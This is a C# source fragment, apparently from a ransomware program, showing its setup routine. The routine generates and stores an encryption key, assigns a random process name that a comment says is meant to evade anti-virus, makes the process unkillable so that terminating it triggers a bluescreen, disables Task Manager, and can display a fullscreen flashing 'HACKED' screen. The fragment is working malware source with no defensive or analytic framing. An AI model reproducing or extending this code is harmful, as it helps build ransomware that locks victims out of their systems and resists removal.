// This method is used to check the basic needs for the ransomware, like if the encryption key was ever set, // or its lenght is the correct size etc.. private void setup() { // Check if Encryption/Decryption Key was ever created on that machine if (Properties.Settings.Default.key.Length != 34) { Properties.Settings.Default.key = Crypto.GetRandomString(34); Properties.Settings.Default.Save(); Properties.Settings.Default.Reload(); if (debug == true) { write("Generated key: " + Properties.Settings.Default.key); } } else { if (debug == true) { write("Key is: " + Properties.Settings.Default.key); } } // Check if Application name is already set. If not, generate one // This should be random to try to be undetected from Anti-Virus if (Properties.Settings.Default.application_name.Length != 12) { Properties.Settings.Default.application_name = Crypto.GetRandomString(12); Properties.Settings.Default.Save(); Properties.Settings.Default.Reload(); if (debug == true) { if (debug == true) { write("Generated Application Name: " + Properties.Settings.Default.application_name); } Log("Generated Application Name: " + Properties.Settings.Default.application_name, "Form1_Load > Generate Application Name"); } } else { if (debug == true) { write("Key is: " + Properties.Settings.Default.key); } } // Make the process unkillable. It process is terminated, // A bluescreen will appear. if (Properties.Settings.Default.unkillable == true) { Make.ProcessUnkillable(); } else if (Properties.Settings.Default.unkillable == false) { Make.ProcessKillable(); } else { Log("Unable to detect setting for making application unkillable", "Form1_Load > Unkillable"); } // If disable_taskmgr is true, disable task manager. else, enable. if (Properties.Settings.Default.disable_taskmgr == true) { try { DisableTaskManager(); } catch (Exception ex) { Log(ex.Message, "Form1_Load > DisableTaskManager"); } } else { try { EnableTaskManager(); } catch (Exception ex) { Log(ex.Message, "Form1_Load > EnableTaskManager"); } } // Check what kind of theme is selected. You can find more information about this in Github Wiki if (Properties.Settings.Default.theme == "default") { panel_theme_flash.Visible = false; panel_theme_flash.Enabled = false; } else if (Properties.Settings.Default.theme == "flash") { // Set Window to be Fullscreen and overlap this.WindowState = FormWindowState.Maximized; this.FormBorderStyle = FormBorderStyle.None; // Enable the Panel Control and make it fill the Screen panel_theme_flash.Visible = true; panel_theme_flash.Enabled = true; panel_theme_flash.Dock = DockStyle.Fill; // Position the Label and set its Text label_theme_flash.Text = "HACKED"; label_theme_flash.Font = new Font(label_theme_flash.Font.FontFamily, this.Height / 16, label_theme_flash.Font.Style); label_theme_flash.Location = new Point((panel_theme_flash.Width / 2) - (label_theme_flash.Width / 2), (panel_theme_flash.Height / 2) - (label_theme_flash.Height / 2)); // Setting up the Timer and the method timer_theme_lash.Enabled = true; timer_theme_lash.Interval = 1000; timer_theme_lash.Tick += new EventHandler(timer_theme_flash_tick); } }